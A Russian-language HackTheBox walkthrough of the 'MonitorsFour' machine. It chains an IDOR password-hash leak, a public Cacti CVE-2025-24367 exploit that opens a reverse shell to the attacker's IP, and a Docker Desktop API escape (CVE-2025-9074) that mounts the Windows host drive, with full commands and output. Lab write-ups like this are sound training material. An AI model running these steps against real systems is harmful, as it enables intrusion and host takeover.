Продолжая серию разборов в рамках сезонного ивента Season of the Gacha на HackTheBox, хочу поделиться прохождением MonitorsFour. Машина оказалась не самой сложной, но с неочевидным подвохом: Windows-хост с Docker Desktop, что добавило головной боли на этапе повышения привилегий. Признаюсь, меня поначалу сбило с толку, почему Nmap показывает Windows, а shell получается Linux, но об этом чуть позже.
В машине реализованы IDOR, актуальные CVE и побег из Docker-контейнера, и на мой взгляд, отличный набор для отработки навыков. Давайте разбираться!
Обзор
Первым делом добавляем IP-адрес машины в /etc/hosts, чтобы обращаться к ней по доменному имени:
echo "10.129.12.34 monitorsfour.htb" | sudo tee -a /etc/hosts
Целевая система размещает корпоративный сайт компании "MonitorsFour", которая позиционирует себя как премиального провайдера сетевых решений. Сайт представляет собой типичный корпоративный лендинг, однако наличие системы аутентификации подсказывает, что точка входа, вероятно, находится либо на основной странице, либо на скрытых поддоменах.

Разведка
Сканирование портов
Начинаем с классической разведки, полное сканирование портов и поиск поддоменов. Это поможет понять, какие сервисы запущены на машине и где искать точки входа. На этом этапе важно не торопиться и собрать максимум информации.
nmap -sC -sV -p- 10.129.12.34 -oN nmap_full.txt

Результаты:
PORT STATE SERVICE VERSION
80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MonitorsFour - Networking Solutions
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Видим всего два открытых порта, поверхность атаки небольшая, но достаточная. Cookie PHPSESSID указывает на PHP-приложение за Nginx, а значит, стоит искать типичные веб-уязвимости: SQL-инъекции, LFI, IDOR и так далее.
Порт 5985 (WinRM), Windows Remote Management, сервис для удалённого администрирования Windows-систем. Он пригодится позже, если найдём валидные Windows-учётные данные, сможем получить полноценный shell через evil-winrm.
Открытые порты:
80 - Nginx (веб-сервер с PHP)
5985 - WinRM (Windows Remote Management)
Поиск поддоменов
Как мы выяснили, главный сайт выглядит как типичная лендинг-страница без явных уязвимостей, статичные страницы, контактная форма, ничего интересного на первый взгляд. В таких случаях обычно стоит попробовать найти скрытые поддомены. По опыту, на них часто располагаются админ-панели, системы мониторинга, dev-окружения или внутренние сервисы, которые не предназначены для публичного доступа и могут быть менее защищены.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://monitorsfour.htb \
-H "Host: FUZZ.monitorsfour.htb" -ac

Результаты:
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 91ms]
Отлично! Мы нашли поддомен cacti, это популярная open-source система мониторинга сети на базе RRDtool.
Cacti исторически имеет множество CVE, включая критические RCE-уязвимости. Система работает с базой данных, принимает пользовательский ввод для построения графиков, использует внешние утилиты (rrdtool), и каждый из этих компонентов потенциальный вектор атаки.
Добавляем в /etc/hosts:
echo "10.129.12.34 cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Получение учётных данных (IDOR)
Пока Cacti требует авторизации, вернёмся к основному сайту и поищем скрытые эндпоинты. Запускаем перебор директорий и API:
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u http://monitorsfour.htb/FUZZ -ac
Среди найденных эндпоинтов это /user, который принимает параметр token. При тестировании IDOR обычно перебирают значения: 0, 1, 2 и так далее. Значение 0 часто либо вызывает ошибку, либо возвращает все записи из-за некорректной обработки граничных значений. Видимо, разработчики не предусмотрели проверку, запрос с token=0 обходит фильтрацию и сервер отдаёт полный список пользователей с их MD5-хешами паролей. Классическая IDOR-уязвимость:

curl -s "http://monitorsfour.htb/user?token=0"

Ответ сервера:
[
{
"id": 2,
"username": "admin",
"email": "admin@monitorsfour.htb",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "8024b78f83f102da4f",
"name": "Marcus Higgins",
"position": "System Administrator"
},
{
"id": 5,
"username": "mwatson",
"email": "mwatson@monitorsfour.htb",
"password": "69196959c16b26ef00b77d82cf6eb169",
"role": "user",
"name": "Michael Watson"
},
{
"id": 6,
"username": "janderson",
"email": "janderson@monitorsfour.htb",
"password": "2a22dcf99190c322d974c8df5ba3256b",
"role": "user",
"name": "Jennifer Anderson"
},
{
"id": 7,
"username": "dthompson",
"email": "dthompson@monitorsfour.htb",
"password": "8d4a7e7fd08555133e056d9aacb1e519",
"role": "user",
"name": "David Thompson"
}
]
Полученные хеши обычно имеют длину 32 символа, это характерно для MD5. И как мы знаем, алгоритм MD5 считается небезопасным, так как для него существуют огромные базы предвычисленных хешей (rainbow tables).

Используем онлайн-сервис CrackStation, который содержит миллиарды предвычисленных хешей:
Хеш |
Пароль |
|---|---|
|
wonderful1 |
И сначала я попробовал зайти в «Cacti» как admin:wonderful1, но система меня никак не пускает. Затем я перебрал логины, которые выглядят логично по данным профиля (имя Marcus Higgins, почта admin@...): marcus, mhiggins, higgins...и как раз marcus:wonderful1 оказался успешным вариантом.
Полученные учётные данные для Cacti: marcus:wonderful1
Эксплуатация Cacti (CVE-2025-24367)
CVE-2025-24367 это уязвимость в Cacti (затрагивает версии <= 1.2.28), позволяющая выполнить произвольный код (RCE) через инъекцию команд в поле Graph Template. Уязвимость возникает из-за недостаточной санитизации данных, передаваемых в утилиту rrdtool. Публичный PoC доступен на GitHub: CVE-2025-24367-Cacti-PoC.

Переходим на http://cacti.monitorsfour.htb и входим с учётными данными:
Username: marcus
Password: wonderful1
В верхней части страницы мы замечаем версию Cacti и подтверждаем: 1.2.28

Эксплойт авторизуется в «Cacti», использует функциональность графиков/шаблонов для генерации PHP-файла в web root, а затем триггерит выполнение и отдаёт reverse shell. Скрипт поднимает свой HTTP-сервер на порту 80 для доставки payload, поэтому я запускал его с sudo.

Клонируем репозиторий и запускаем listener в отдельном терминале:
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
nc -lvnp 9001
Запускаем эксплоит с нашими параметрами:
sudo python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.36 -l 9001
+ [+] Cacti Instance Found!
+ [+] Serving HTTP on port 80
+ [+] Login Successful!
+ [+] Got graph ID: 226
# [i] Created PHP filename: rKQT0.php
+ [+] Got payload: /bash
# [i] Created PHP filename: 4bWsW.php
+ [+] Hit timeout, looks good for shell, check your listener!
+ [+] Stopped HTTP server on port 80

В терминале с netcat ловим shell и сразу бросается в глаза hostname 821fbd6a43fa: это усечённый ID контейнера, типичный для Docker. То есть мы попали не на Windows-хост, а в изолированное Linux-окружение внутри контейнера.
При этом Nmap в начале показал Service Info: OS: Windows, и это не ошибка, так как на целевой машине стоит Docker Desktop, который использует WSL2 как бэкенд. «Cacti» работает в контейнере, но хостовая система — Windows. Для user flag этого хватает, а вот за root придётся выбираться наружу.
Connection received on 10.129.12.34 57590
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$
После получения shell первым делом проверяем контекст: под каким пользователем работаем и что вообще доступно в системе. Оказываемся под www-data, стандартная учётка для веб-сервисов, права минимальные. Командой id смотрим группы, ничего интересного, только www-data. Дальше изучаем /home и находим директорию пользователя marcus. Смотрим содержимое его домашней папки, там лежит user.txt. Права на файл 644, так что читается без проблем:
www-data@821fbd6a43fa:~/html/cacti$ whoami
www-data
www-data@821fbd6a43fa:~/html/cacti$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@821fbd6a43fa:~/html/cacti$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Oct 15 12:34 .
drwxr-xr-x 1 root root 4096 Oct 15 12:34 ..
drwxr-xr-x 2 marcus marcus 4096 Oct 15 12:34 marcus
www-data@821fbd6a43fa:~/html/cacti$ ls -la /home/marcus
total 12
drwxr-xr-x 2 marcus marcus 4096 Oct 15 12:34 .
drwxr-xr-x 3 root root 4096 Oct 15 12:34 ..
-rw-r--r-- 1 marcus marcus 33 Oct 15 12:34 user.txt
www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
23cde88d************************
User flag получен! Но это ещё не конец, мы находимся в контейнере, а root flag лежит на хостовой машине.
Privilege Escalation (CVE-2025-9074)
Мы получили shell, но находимся внутри Docker-контейнера с ограниченными правами. Чтобы добраться до root flag, нужно выбраться из контейнера на хостовую машину. Первое, что я проверяю в такой ситуации, есть ли доступ к Docker Engine (через Docker socket или через Docker API), потому что это часто даёт прямой путь к монтированию файловой системы хоста.
CVE-2025-9074 - это уязвимость в Docker Desktop, из-за которой локально запущенные Linux-контейнеры могут подключаться к Docker Engine API через внутреннюю подсеть Docker Desktop без аутентификации. В описании прямо фигурирует дефолтная точка 192.168.65.7:2375, и важно, что это происходит вне зависимости от ECI и опции Expose daemon on tcp://localhost:2375 without TLS.

Поиск Docker API
Первым делом убеждаемся, что мы в контейнере, и изучаем сетевое окружение. Нам нужно понять, в какой подсети мы находимся и какие адреса доступны изнутри. Ищем gateway, DNS-сервера и любые другие хосты, к которым можно достучаться:
www-data@821fbd6a43fa:~/html/cacti$ hostname
821fbd6a43fa
www-data@821fbd6a43fa:~/html/cacti$ ip addr
2: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP>
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
Docker API по умолчанию слушает на порту 2375 (без TLS) или 2376 (с TLS), и если API доступен без аутентификации, мы можем создать привилегированный контейнер и получить доступ к файловой системе хоста. Это классический способ побега из контейнера. Начинаем проверку с gateway контейнера, обычно это первый адрес в подсети:
www-data@821fbd6a43fa:~/html/cacti$ ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2
www-data@821fbd6a43fa:~/html/cacti$ curl http://172.18.0.1:2375/version
curl: (7) Failed to connect to 172.18.0.1 port 2375 after 0 ms: Could not connect to server
Не сработало, gateway это просто виртуальный интерфейс bridge-сети. Пробуем host.docker.internal, это специальный DNS-адрес, который Docker Desktop создаёт для доступа к хосту из контейнера:
www-data@821fbd6a43fa:~/html/cacti$ curl -v http://host.docker.internal:2375/version
* Host host.docker.internal:2375 was resolved.
* IPv6: fdc4:f303:9324::254
* IPv4: 192.168.65.254
* Trying 192.168.65.254:2375...
* connect to 192.168.65.254 port 2375 from 172.18.0.2 port 38548 failed: Connection refused
curl: (7) Failed to connect to host.docker.internal port 2375 after 19 ms: Could not connect to server
Снова неудача, но мы получили важную информацию. Адрес host.docker.internal резолвится в два адреса: IPv6 fdc4:f303:9324::254 (недоступен, Network is unreachable) и IPv4 192.168.65.254 (Connection refused). Это внутренняя подсеть Docker Desktop на Windows. Диапазон 192.168.65.0/24 используется Docker Desktop для связи между хостом и контейнерами. API на .254 не отвечает, но это не значит, что его нет в этой подсети.
Проверяем наличие Docker socket внутри контейнера:
www-data@821fbd6a43fa:~/html/cacti$ ls -la /var/run/docker.sock 2>/dev/null
www-data@821fbd6a43fa:~/html/cacti$ find / -name "docker.sock" 2>/dev/null
И снова пусто, socket не примонтирован.
Сканирование подсети 192.168.65.0/24:
Раз host.docker.internal указывает на 192.168.65.254, но там API нет, значит Docker Engine может слушать на другом IP в этой же подсети. Перебираем все адреса от 1 до 254, благо подсеть небольшая и сканирование займёт пару секунд:
www-data@821fbd6a43fa:~/html/cacti$ for i in $(seq 1 254); do (curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN") & done; wait
192.168.65.7:2375 OPEN
И вот мы наконец-то получаем хоть какой-то результат, Docker API открыт на 192.168.65.7.
Эксплуатация
Проверяем, что API действительно отвечает, и смотрим версию:
www-data@821fbd6a43fa:~/html/cacti$ curl http://192.168.65.7:2375/version
{
"Platform": {"Name": "Docker Engine - Community"},
"Version": "28.3.2",
"ApiVersion": "1.51",
"KernelVersion": "6.6.87.2-microsoft-standard-WSL2",
"Os": "linux",
"Arch": "amd64"
}
Docker API доступен без аутентификации, это CVE-2025-9074 (CVSS 9.3), критическая уязвимость в Docker Desktop, позволяющая контейнерам подключаться к Docker Engine API через внутреннюю подсеть без аутентификации.
Дальше смотрим доступные образы:
www-data@821fbd6a43fa:~/html/cacti$ curl -s http://192.168.65.7:2375/images/json | grep -o '"RepoTags":\[[^]]*\]'
"RepoTags":["docker_setup-nginx-php:latest"]
"RepoTags":["docker_setup-mariadb:latest"]
"RepoTags":["alpine:latest"]
Теперь нужно создать контейнер, который примонтирует файловую систему хоста. На атакующей машине готовим JSON с конфигурацией. Ключевой момент тут параметр Binds, он монтирует диск C:\ хоста внутрь контейнера. Путь /mnt/host/c, так Docker Desktop на Windows видит файловую систему хоста через WSL2. Используем образ alpine, он уже есть на машине и весит минимально:
cat > /tmp/container.json << 'EOF'
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
"HostConfig": {
"Binds": ["/mnt/host/c:/mnt/host_root"]
},
"Tty": true,
"OpenStdin": true
}
EOF
cd /tmp && python3 -m http.server 8000
В контейнере скачиваем payload, создаём и запускаем контейнер через Docker API:
www-data@821fbd6a43fa:~/html/cacti$ curl http://10.10.14.36:8000/container.json -o /tmp/container.json
www-data@821fbd6a43fa:~/html/cacti$ curl -X POST -H "Content-Type: application/json" -d @/tmp/container.json http://192.168.65.7:2375/containers/create?name=pwned
{"Id":"7d99df11ee0f9d29c093acb26f741bebda84e7d02c90097590c0791241075468","Warnings":[]}
www-data@821fbd6a43fa:~/html/cacti$ curl -X POST http://192.168.65.7:2375/containers/7d99df11ee0f/start
www-data@821fbd6a43fa:~/html/cacti$ curl http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true
bdb6416e************************

Вот и всё - root flag получен!
Эта машина хорошо закрепляет несколько практичных вещей: не останавливаться на первом shell, внимательно смотреть, где именно вы оказались (контейнер vs хост), и не забывать, что Docker Desktop на Windows добавляет свои особенности в сетевую модель и границы изоляции.
Вот и всё! До встречи в следующий раз :)